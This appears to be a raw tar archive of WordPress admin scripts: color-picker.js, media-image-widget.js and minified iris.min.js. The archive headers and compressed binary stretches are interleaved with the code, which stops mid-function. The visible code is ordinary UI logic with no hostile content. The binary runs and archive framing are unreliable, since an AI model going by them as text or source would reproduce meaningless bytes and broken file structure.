%�HGEj)�p�T�;-�t�Z��\oj3b�~���#z�V����m�ϳ�y��r��G<�_&�<nZ�ՠ���0���'���z����R�+ -�oE��\�Kw�z(N $���Np��~�+���#27)�Z�3��y9��[�O'Ǿ.��m�)�g�/)@�)0cW�"��%pjx���D�cX��<�]~=}�S���'��-�M��~Yi��5K�����?	J���Dƈh�
���D��EZ�K��D��9�UoiF�ro�t�`�5��8��Ē.5��X˺��p�c
 ���镧f�G])�����14,�7��%)��J���<x��PE^˯x������pɼ�\�:�Y��J�E��L��l����T�W�V}�������a�rb�$Cw<{���3v�ҡ��%3	�����k��0tZ7��1�P�sIr���1K�޾&��4z�%��Oy��l��az��5c�|ts�:��b�8]�jC��`�d0v�k"~f���p��Qڪ	h��CȂ�fq�i���1Z�]�	z-��2�*S!���͊7�ҮZ3G6I��פG:C�X,n�����඲�ga��>Ƕ���3?�m�N�z�p	^�Q@f���3n*5b&����o�?��T���5�׏�#�T�s��ϟϟϟϟϟϟϟ��,=��8color-picker.js000064400000023050150276633110007477 0ustar00/**
 * @output wp-admin/js/color-picker.js
 */

( function( $, undef ) {

	var ColorPicker,
		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		_wrappingLabel = '<label></label>',
		_wrappingLabelText = '<span class="screen-reader-text"></span>',
		__ = wp.i18n.__;

	/**
	 * Creates a jQuery UI color picker that is used in the theme customizer.
	 *
	 * @class $.widget.wp.wpColorPicker
	 *
	 * @since 3.5.0
	 */
	ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
		options: {
			defaultColor: false,
			change: false,
			clear: false,
			hide: true,
			palettes: true,
			width: 255,
			mode: 'hsv',
			type: 'full',
			slider: 'horizontal'
		},
		/**
		 * Creates a color picker that only allows you to adjust the hue.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_createHueOnly: function() {
			var self = this,
				el = self.element,
				color;

			el.hide();

			// Set the saturation to the maximum level.
			color = 'hsl(' + el.val() + ', 100, 50)';

			// Create an instance of the color picker, using the hsl mode.
			el.iris( {
				mode: 'hsl',
				type: 'hue',
				hide: false,
				color: color,
				/**
				 * Handles the onChange event if one has been defined in the options.
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				},
				width: self.options.width,
				slider: self.options.slider
			} );
		},
		/**
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = self.close.bind( self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			/*
			 * Check if there's already a wrapping label, e.g. in the Customizer.
			 * If there's no label, add a default one to match the Customizer template.
			 */
			if ( ! el.parent( 'label' ).length ) {
				// Wrap the input field in the default label.
				el.wrap( _wrappingLabel );
				// Insert the default label text.
				self.wrappingLabelText = $( _wrappingLabelText )
					.insertBefore( el )
					.text( __( 'Color value' ) );
			}

			/*
			 * At this point, either it's the standalone version or the Customizer
			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
			 */
			self.wrappingLabel = el.parent();

			// Wrap the label in the main wrapper.
			self.wrappingLabel.wrap( _wrap );
			// Store a reference to the main wrapper.
			self.wrap = self.wrappingLabel.parent();
			// Set up the toggle button and insert it before the wrapping label.
			self.toggler = $( _before )
				.insertBefore( self.wrappingLabel )
				.css( { backgroundColor: self.initialValue } );
			// Set the toggle button span element text.
			self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
			// Set up the Iris container and insert it after the wrapping label.
			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
			// Store a reference to the Clear/Default button.
			self.button = $( _button );

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button
					.addClass( 'wp-picker-default' )
					.val( __( 'Default' ) )
					.attr( 'aria-label', __( 'Select default color' ) );
			} else {
				self.button
					.addClass( 'wp-picker-clear' )
					.val( __( 'Clear' ) )
					.attr( 'aria-label', __( 'Clear color' ) );
			}

			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
			self.wrappingLabel
				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
				.after( self.button );

			/*
			 * The input wrapper now contains the label+input+Clear/Default button.
			 * Store a reference to the input wrapper: we'll use this to toggle
			 * the controls visibility.
			 */
			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					self.toggler.css( { backgroundColor: ui.color.toString() } );

					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * Open or close the color picker depending on the class.
			 *
			 * @since 3.5.0
			 */
			self.toggler.on( 'click', function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.element.on( 'change', function( event ) {
				var me = $( this ),
					val = me.val();

				if ( val === '' || val === '#' ) {
					self.toggler.css( 'backgroundColor', '' );
					// Fire clear callback if we have one.
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				}
			});

			/**
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.button.on( 'click', function( event ) {
				var me = $( this );
				if ( me.hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					self.toggler.css( 'backgroundColor', '' );
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				} else if ( me.hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
		/**
		 * Opens the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		open: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.removeClass( 'hidden' );
			this.wrap.addClass( 'wp-picker-active' );
			this.toggler
				.addClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'true' );
			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Closes the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		close: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.addClass( 'hidden' );
			this.wrap.removeClass( 'wp-picker-active' );
			this.toggler
				.removeClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'false' );
			$( 'body' ).off( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
		 *
		 * @param newColor {string|*} The new color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {string} The element's color.
		 */
		color: function( newColor ) {
			if ( newColor === undef ) {
				return this.element.iris( 'option', 'color' );
			}
			this.element.iris( 'option', 'color', newColor );
		},
		/**
		 * Returns the iris object if no new default color is provided.
		 * If a new default color is provided, it sets the new default color.
		 *
		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {boolean|string} The element's color.
		 */
		defaultColor: function( newDefaultColor ) {
			if ( newDefaultColor === undef ) {
				return this.options.defaultColor;
			}

			this.options.defaultColor = newDefaultColor;
		}
	};

	// Register the color picker as a widget.
	$.widget( 'wp.wpColorPicker', ColorPicker );
}( jQuery ) );
password-toggle.js.js.tar.gz000064400000001201150276633110012040 0ustar00��TMo�@�5�sKZ�k烂�"QP�V*���6�I���
����3k�nB�6U%�8^�73��lR�c���N����qk��%:���\���Fs���F�N�f�{�_�����s����*��a�G�x�@�g�EA�
����ÈNN8�3!,L�8�Ϥ[�T�Gi�D���9�,8
�"��Q�ß�w4�����eT�Wzg�JNـ��.�=�i����Ӵ�c��ܬ�8�0G�lh���gY��V]��.��0�JL��(6�
��6�>��7�Q�Y]c����,�:�f�e�T����vΓt��
Q��F�$#�W�:f0��̩�i�txc��
�q��잀

��L&��ݵ�ϵݞu[���߆T��*�H�K�e3tg�I�����V��=熚Y+fI*3AL�ťÜ2�K5���(S��~��[�8eA�z��b���Ğ����c��S���h4�-4/��4+ы�*Ze^��rBWv"��<,[l����`��m_�$����xu�%�LƤ�_|�xEʛ�5�{�kw�»k��vi�@k'P������}퉟e�u��ϵg��E>��m)~ʞ{~���u��_�u��8ċ�7$:u�media-image-widget.js.tar000064400000016000150276633110011310 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/media-image-widget.js000064400000012534150266602020022360 0ustar00/**
 * @output wp-admin/js/widgets/media-image-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component, $ ) {
	'use strict';

	var ImageWidgetModel, ImageWidgetControl;

	/**
	 * Image widget model.
	 *
	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_image
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	ImageWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Image widget control.
	 *
	 * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_audio
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	ImageWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_image.prototype */{

		/**
		 * View events.
		 *
		 * @type {object}
		 */
		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
			'click .media-widget-preview.populated': 'editMedia'
		} ),

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, fieldsContainer, fieldsTemplate, linkInput;
			if ( ! control.model.get( 'attachment_id' ) && ! control.model.get( 'url' ) ) {
				return;
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-image-preview' );
			previewContainer.html( previewTemplate( control.previewTemplateProps.toJSON() ) );
			previewContainer.addClass( 'populated' );

			linkInput = control.$el.find( '.link' );
			if ( ! linkInput.is( document.activeElement ) ) {
				fieldsContainer = control.$el.find( '.media-widget-fields' );
				fieldsTemplate = wp.template( 'wp-media-widget-image-fields' );
				fieldsContainer.html( fieldsTemplate( control.previewTemplateProps.toJSON() ) );
			}
		},

		/**
		 * Open the media image-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, updateCallback, defaultSync, metadata;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Needed or else none will not be selected if linkUrl is not also empty.
			if ( 'none' === metadata.link ) {
				metadata.linkUrl = '';
			}

			// Set up the media frame.
			mediaFrame = wp.media({
				frame: 'image',
				state: 'image-details',
				metadata: metadata
			});
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function() {
				var mediaProps, linkType;

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				mediaProps = mediaFrame.state().attributes.image.toJSON();
				linkType = mediaProps.link;
				mediaProps.link = mediaProps.linkUrl;
				control.selectedAttachment.set( mediaProps );
				control.displaySettings.set( 'link', linkType );

				control.model.set( _.extend(
					control.mapMediaToModelProps( mediaProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'image-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-image' ).on( 'replace', updateCallback );

			// Disable syncing of attachment changes back to server. See <https://core.trac.wordpress.org/ticket/40403>.
			defaultSync = wp.media.model.Attachment.prototype.sync;
			wp.media.model.Attachment.prototype.sync = function rejectedSync() {
				return $.Deferred().rejectWith( this ).promise();
			};
			mediaFrame.on( 'close', function onClose() {
				mediaFrame.detach();
				wp.media.model.Attachment.prototype.sync = defaultSync;
			});

			mediaFrame.open();
		},

		/**
		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
		 *
		 * @return {Object} Reset/override props.
		 */
		getEmbedResetProps: function getEmbedResetProps() {
			return _.extend(
				component.MediaWidgetControl.prototype.getEmbedResetProps.call( this ),
				{
					size: 'full',
					width: 0,
					height: 0
				}
			);
		},

		/**
		 * Get the instance props from the media selection frame.
		 *
		 * Prevent the image_title attribute from being initially set when adding an image from the media library.
		 *
		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
		 * @return {Object} Props.
		 */
		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
			var control = this;
			return _.omit(
				component.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call( control, mediaFrame ),
				'image_title'
			);
		},

		/**
		 * Map model props to preview template props.
		 *
		 * @return {Object} Preview template props.
		 */
		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
			var control = this, previewTemplateProps, url;
			url = control.model.get( 'url' );
			previewTemplateProps = component.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call( control );
			previewTemplateProps.currentFilename = url ? url.replace( /\?.*$/, '' ).replace( /^.+\//, '' ) : '';
			previewTemplateProps.link_url = control.model.get( 'link_url' );
			return previewTemplateProps;
		}
	});

	// Exports.
	component.controlConstructors.media_image = ImageWidgetControl;
	component.modelConstructors.media_image = ImageWidgetModel;

})( wp.mediaWidgets, jQuery );
iris.min.js000064400000056133150276633110006646 0ustar00/*! This file is auto-generated */
/*! Iris Color Picker - v1.1.1 - 2021-10-05
* https://github.com/Automattic/Iris
* Copyright (c) 2021 Matt Wiebe; Licensed GPLv2 */
!function(a,b){function c(){var b,c,d="backgroundImage";j?k="filter":(b=a('<div id="iris-gradtest" />'),c="linear-gradient(top,#fff,#000)",a.each(l,function(a,e){if(b.css(d,e+c),b.css(d).match("gradient"))return k=a,!1}),!1===k&&(b.css("background","-webkit-gradient(linear,0% 0%,0% 100%,from(#fff),to(#000))"),b.css(d).match("gradient")&&(k="webkit")),b.remove())}function d(a,b){return a="top"===a?"top":"left",b=Array.isArray(b)?b:Array.prototype.slice.call(arguments,1),"webkit"===k?f(a,b):l[k]+"linear-gradient("+a+", "+b.join(", ")+")"}function e(b,c){var d,e,f,h,i,j,k,l,m;b="top"===b?"top":"left",c=Array.isArray(c)?c:Array.prototype.slice.call(arguments,1),d="top"===b?0:1,e=a(this),f=c.length-1,h="filter",i=1===d?"left":"top",j=1===d?"right":"bottom",k=1===d?"height":"width",l='<div class="iris-ie-gradient-shim" style="position:absolute;'+k+":100%;"+i+":%start%;"+j+":%end%;"+h+':%filter%;" data-color:"%color%"></div>',m="","static"===e.css("position")&&e.css({position:"relative"}),c=g(c),a.each(c,function(a,b){var e,g,h;if(a===f)return!1;e=c[a+1],b.stop!==e.stop&&(g=100-parseFloat(e.stop)+"%",b.octoHex=new Color(b.color).toIEOctoHex(),e.octoHex=new Color(e.color).toIEOctoHex(),h="progid:DXImageTransform.Microsoft.Gradient(GradientType="+d+", StartColorStr='"+b.octoHex+"', EndColorStr='"+e.octoHex+"')",m+=l.replace("%start%",b.stop).replace("%end%",g).replace("%filter%",h))}),e.find(".iris-ie-gradient-shim").remove(),a(m).prependTo(e)}function f(b,c){var d=[];return b="top"===b?"0% 0%,0% 100%,":"0% 100%,100% 100%,",c=g(c),a.each(c,function(a,b){d.push("color-stop("+parseFloat(b.stop)/100+", "+b.color+")")}),"-webkit-gradient(linear,"+b+d.join(",")+")"}function g(b){var c=[],d=[],e=[],f=b.length-1;return a.each(b,function(a,b){var e=b,f=!1,g=b.match(/1?[0-9]{1,2}%$/);g&&(e=b.replace(/\s?1?[0-9]{1,2}%$/,""),f=g.shift()),c.push(e),d.push(f)}),!1===d[0]&&(d[0]="0%"),!1===d[f]&&(d[f]="100%"),d=h(d),a.each(d,function(a){e[a]={color:c[a],stop:d[a]}}),e}function h(b){var c,d,e,f,g=0,i=b.length-1,j=0,k=!1;if(b.length<=2||a.inArray(!1,b)<0)return b;for(;j<b.length-1;)k||!1!==b[j]?k&&!1!==b[j]&&(i=j,j=b.length):(g=j-1,k=!0),j++;for(d=i-g,f=parseInt(b[g].replace("%"),10),c=(parseFloat(b[i].replace("%"))-f)/d,j=g+1,e=1;j<i;)b[j]=f+e*c+"%",e++,j++;return h(b)}var i,j,k,l,m,n,o,p,q;if(i='<div class="iris-picker"><div class="iris-picker-inner"><div class="iris-square"><a class="iris-square-value" href="#"><span class="iris-square-handle ui-slider-handle"></span></a><div class="iris-square-inner iris-square-horiz"></div><div class="iris-square-inner iris-square-vert"></div></div><div class="iris-slider iris-strip"><div class="iris-slider-offset"></div></div></div></div>',m='.iris-picker{display:block;position:relative}.iris-picker,.iris-picker *{-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input+.iris-picker{margin-top:4px}.iris-error{background-color:#ffafaf}.iris-border{border-radius:3px;border:1px solid #aaa;width:200px;background-color:#fff}.iris-picker-inner{position:absolute;top:0;right:0;left:0;bottom:0}.iris-border .iris-picker-inner{top:10px;right:10px;left:10px;bottom:10px}.iris-picker .iris-square-inner{position:absolute;left:0;right:0;top:0;bottom:0}.iris-picker .iris-square,.iris-picker .iris-slider,.iris-picker .iris-square-inner,.iris-picker .iris-palette{border-radius:3px;box-shadow:inset 0 0 5px rgba(0,0,0,.4);height:100%;width:12.5%;float:left;margin-right:5%}.iris-only-strip .iris-slider{width:100%}.iris-picker .iris-square{width:76%;margin-right:10%;position:relative}.iris-only-strip .iris-square{display:none}.iris-picker .iris-square-inner{width:auto;margin:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-square-inner,.iris-ie-9 .iris-palette{box-shadow:none;border-radius:0}.iris-ie-9 .iris-square,.iris-ie-9 .iris-slider,.iris-ie-9 .iris-palette{outline:1px solid rgba(0,0,0,.1)}.iris-ie-lt9 .iris-square,.iris-ie-lt9 .iris-slider,.iris-ie-lt9 .iris-square-inner,.iris-ie-lt9 .iris-palette{outline:1px solid #aaa}.iris-ie-lt9 .iris-square .ui-slider-handle{outline:1px solid #aaa;background-color:#fff;-ms-filter:"alpha(Opacity=30)"}.iris-ie-lt9 .iris-square .iris-square-handle{background:0 0;border:3px solid #fff;-ms-filter:"alpha(Opacity=50)"}.iris-picker .iris-strip{margin-right:0;position:relative}.iris-picker .iris-strip .ui-slider-handle{position:absolute;background:0 0;margin:0;right:-3px;left:-3px;border:4px solid #aaa;border-width:4px 3px;width:auto;height:6px;border-radius:4px;box-shadow:0 1px 2px rgba(0,0,0,.2);opacity:.9;z-index:5;cursor:ns-resize}.iris-strip-horiz .iris-strip .ui-slider-handle{right:auto;left:auto;bottom:-3px;top:-3px;height:auto;width:6px;cursor:ew-resize}.iris-strip .ui-slider-handle:before{content:" ";position:absolute;left:-2px;right:-2px;top:-3px;bottom:-3px;border:2px solid #fff;border-radius:3px}.iris-picker .iris-slider-offset{position:absolute;top:11px;left:0;right:0;bottom:-3px;width:auto;height:auto;background:transparent;border:0;border-radius:0}.iris-strip-horiz .iris-slider-offset{top:0;bottom:0;right:11px;left:-3px}.iris-picker .iris-square-handle{background:transparent;border:5px solid #aaa;border-radius:50%;border-color:rgba(128,128,128,.5);box-shadow:none;width:12px;height:12px;position:absolute;left:-10px;top:-10px;cursor:move;opacity:1;z-index:10}.iris-picker .ui-state-focus .iris-square-handle{opacity:.8}.iris-picker .iris-square-handle:hover{border-color:#999}.iris-picker .iris-square-value:focus .iris-square-handle{box-shadow:0 0 2px rgba(0,0,0,.75);opacity:.8}.iris-picker .iris-square-handle:hover::after{border-color:#fff}.iris-picker .iris-square-handle::after{position:absolute;bottom:-4px;right:-4px;left:-4px;top:-4px;border:3px solid #f9f9f9;border-color:rgba(255,255,255,.8);border-radius:50%;content:" "}.iris-picker .iris-square-value{width:8px;height:8px;position:absolute}.iris-ie-lt9 .iris-square-value,.iris-mozilla .iris-square-value{width:1px;height:1px}.iris-palette-container{position:absolute;bottom:0;left:0;margin:0;padding:0}.iris-border .iris-palette-container{left:10px;bottom:10px}.iris-picker .iris-palette{margin:0;cursor:pointer}.iris-square-handle,.ui-slider-handle{border:0;outline:0}',o=navigator.userAgent.toLowerCase(),p="Microsoft Internet Explorer"===navigator.appName,q=p?parseFloat(o.match(/msie ([0-9]{1,}[\.0-9]{0,})/)[1]):0,j=p&&q<10,k=!1,l=["-moz-","-webkit-","-o-","-ms-"],j&&q<=7)return a.fn.iris=a.noop,void(a.support.iris=!1);a.support.iris=!0,a.fn.gradient=function(){var b=arguments;return this.each(function(){j?e.apply(this,b):a(this).css("backgroundImage",d.apply(this,b))})},a.fn.rainbowGradient=function(b,c){var d,e,f,g;for(b=b||"top",d=a.extend({},{s:100,l:50},c),e="hsl(%h%,"+d.s+"%,"+d.l+"%)",f=0,g=[];f<=360;)g.push(e.replace("%h%",f)),f+=30;return this.each(function(){a(this).gradient(b,g)})},n={options:{color:!1,mode:"hsl",controls:{horiz:"s",vert:"l",strip:"h"},hide:!0,border:!0,target:!1,width:200,palettes:!1,type:"full",slider:"horizontal"},_color:"",_palettes:["#000","#fff","#d33","#d93","#ee2","#81d742","#1e73be","#8224e3"],_inited:!1,_defaultHSLControls:{horiz:"s",vert:"l",strip:"h"},_defaultHSVControls:{horiz:"h",vert:"v",strip:"s"},_scale:{h:360,s:100,l:100,v:100},_create:function(){var b=this,d=b.element,e=b.options.color||d.val();!1===k&&c(),d.is("input")?(b.options.target?b.picker=a(i).appendTo(b.options.target):b.picker=a(i).insertAfter(d),b._addInputListeners(d)):(d.append(i),b.picker=d.find(".iris-picker")),p?9===q?b.picker.addClass("iris-ie-9"):q<=8&&b.picker.addClass("iris-ie-lt9"):o.indexOf("compatible")<0&&o.indexOf("khtml")<0&&o.match(/mozilla/)&&b.picker.addClass("iris-mozilla"),b.options.palettes&&b._addPalettes(),b.onlySlider="hue"===b.options.type,b.horizontalSlider=b.onlySlider&&"horizontal"===b.options.slider,b.onlySlider&&(b.options.controls.strip="h",e||(e="hsl(10,100,50)")),b._color=new Color(e).setHSpace(b.options.mode),b.options.color=b._color.toString(),b.controls={square:b.picker.find(".iris-square"),squareDrag:b.picker.find(".iris-square-value"),horiz:b.picker.find(".iris-square-horiz"),vert:b.picker.find(".iris-square-vert"),strip:b.picker.find(".iris-strip"),stripSlider:b.picker.find(".iris-strip .iris-slider-offset")},"hsv"===b.options.mode&&b._has("l",b.options.controls)?b.options.controls=b._defaultHSVControls:"hsl"===b.options.mode&&b._has("v",b.options.controls)&&(b.options.controls=b._defaultHSLControls),b.hue=b._color.h(),b.options.hide&&b.picker.hide(),b.options.border&&!b.onlySlider&&b.picker.addClass("iris-border"),b._initControls(),b.active="external",b._dimensions(),b._change()},_has:function(b,c){var d=!1;return a.each(c,function(a,c){if(b===c)return d=!0,!1}),d},_addPalettes:function(){var b=a('<div class="iris-palette-container" />'),c=a('<a class="iris-palette" tabindex="0" />'),d=Array.isArray(this.options.palettes)?this.options.palettes:this._palettes;this.picker.find(".iris-palette-container").length&&(b=this.picker.find(".iris-palette-container").detach().html("")),a.each(d,function(a,d){c.clone().data("color",d).css("backgroundColor",d).appendTo(b).height(10).width(10)}),this.picker.append(b)},_paint:function(){var a=this;a.horizontalSlider?a._paintDimension("left","strip"):a._paintDimension("top","strip"),a._paintDimension("top","vert"),a._paintDimension("left","horiz")},_paintDimension:function(a,b){var c,d=this,e=d._color,f=d.options.mode,g=d._getHSpaceColor(),h=d.controls[b],i=d.options.controls;if(b!==d.active&&("square"!==d.active||"strip"===b))switch(i[b]){case"h":if("hsv"===f){switch(g=e.clone(),b){case"horiz":g[i.vert](100);break;case"vert":g[i.horiz](100);break;case"strip":g.setHSpace("hsl")}c=g.toHsl()}else c="strip"===b?{s:g.s,l:g.l}:{s:100,l:g.l};h.rainbowGradient(a,c);break;case"s":"hsv"===f?"vert"===b?c=[e.clone().a(0).s(0).toCSS("rgba"),e.clone().a(1).s(0).toCSS("rgba")]:"strip"===b?c=[e.clone().s(100).toCSS("hsl"),e.clone().s(0).toCSS("hsl")]:"horiz"===b&&(c=["#fff","hsl("+g.h+",100%,50%)"]):c="vert"===b&&"h"===d.options.controls.horiz?["hsla(0, 0%, "+g.l+"%, 0)","hsla(0, 0%, "+g.l+"%, 1)"]:["hsl("+g.h+",0%,50%)","hsl("+g.h+",100%,50%)"],h.gradient(a,c);break;case"l":c="strip"===b?["hsl("+g.h+",100%,100%)","hsl("+g.h+", "+g.s+"%,50%)","hsl("+g.h+",100%,0%)"]:["#fff","rgba(255,255,255,0) 50%","rgba(0,0,0,0) 50%","rgba(0,0,0,1)"],h.gradient(a,c);break;case"v":c="strip"===b?[e.clone().v(100).toCSS(),e.clone().v(0).toCSS()]:["rgba(0,0,0,0)","#000"],h.gradient(a,c)}},_getHSpaceColor:function(){return"hsv"===this.options.mode?this._color.toHsv():this._color.toHsl()},_stripOnlyDimensions:function(){var a=this,b=this.options.width,c=.12*b;a.horizontalSlider?a.picker.css({width:b,height:c}).addClass("iris-only-strip iris-strip-horiz"):a.picker.css({width:c,height:b}).addClass("iris-only-strip iris-strip-vert")},_dimensions:function(b){if("hue"===this.options.type)return this._stripOnlyDimensions();var c,d,e,f,g=this,h=g.options,i=g.controls,j=i.square,k=g.picker.find(".iris-strip"),l="77.5%",m="12%",n=20,o=h.border?h.width-n:h.width,p=Array.isArray(h.palettes)?h.palettes.length:g._palettes.length;if(b&&(j.css("width",""),k.css("width",""),g.picker.css({width:"",height:""})),l=o*(parseFloat(l)/100),m=o*(parseFloat(m)/100),c=h.border?l+n:l,j.width(l).height(l),k.height(l).width(m),g.picker.css({width:h.width,height:c}),!h.palettes)return g.picker.css("paddingBottom","");d=2*l/100,f=l-(p-1)*d,e=f/p,g.picker.find(".iris-palette").each(function(b){var c=0===b?0:d;a(this).css({width:e,height:e,marginLeft:c})}),g.picker.css("paddingBottom",e+d),k.height(e+d+l)},_addInputListeners:function(a){var b=this,c=function(c){var d=new Color(a.val()),e=a.val().replace(/^#/,"");a.removeClass("iris-error"),d.error?""!==e&&a.addClass("iris-error"):d.toString()!==b._color.toString()&&("keyup"===c.type&&e.match(/^[0-9a-fA-F]{3}$/)||b._setOption("color",d.toString()))};a.on("change",c).on("keyup",b._debounce(c,100)),b.options.hide&&a.one("focus",function(){b.show()})},_initControls:function(){var b=this,c=b.controls,d=c.square,e=b.options.controls,f=b._scale[e.strip],g=b.horizontalSlider?"horizontal":"vertical";c.stripSlider.slider({orientation:g,max:f,slide:function(a,c){b.active="strip","h"===e.strip&&"vertical"===g&&(c.value=f-c.value),b._color[e.strip](c.value),b._change.apply(b,arguments)}}),c.squareDrag.draggable({containment:c.square.find(".iris-square-inner"),zIndex:1e3,cursor:"move",drag:function(a,c){b._squareDrag(a,c)},start:function(){d.addClass("iris-dragging"),a(this).addClass("ui-state-focus")},stop:function(){d.removeClass("iris-dragging"),a(this).removeClass("ui-state-focus")}}).on("mousedown mouseup",function(c){var d="ui-state-focus";c.preventDefault(),"mousedown"===c.type?(b.picker.find("."+d).removeClass(d).trigger("blur"),a(this).addClass(d).trigger("focus")):a(this).removeClass(d)}).on("keydown",function(a){var d=c.square,e=c.squareDrag,f=e.position(),g=b.options.width/100;switch(a.altKey&&(g*=10),a.keyCode){case 37:f.left-=g;break;case 38:f.top-=g;break;case 39:f.left+=g;break;case 40:f.top+=g;break;default:return!0}f.left=Math.max(0,Math.min(f.left,d.width())),f.top=Math.max(0,Math.min(f.top,d.height())),e.css(f),b._squareDrag(a,{position:f}),a.preventDefault()}),d.on("mousedown",function(c){var d,e;1===c.which&&a(c.target).is("div")&&(d=b.controls.square.offset(),e={top:c.pageY-d.top,left:c.pageX-d.left},c.preventDefault(),b._squareDrag(c,{position:e}),c.target=b.controls.squareDrag.get(0),b.controls.squareDrag.css(e).trigger(c))}),b.options.palettes&&b._paletteListeners()},_paletteListeners:function(){var 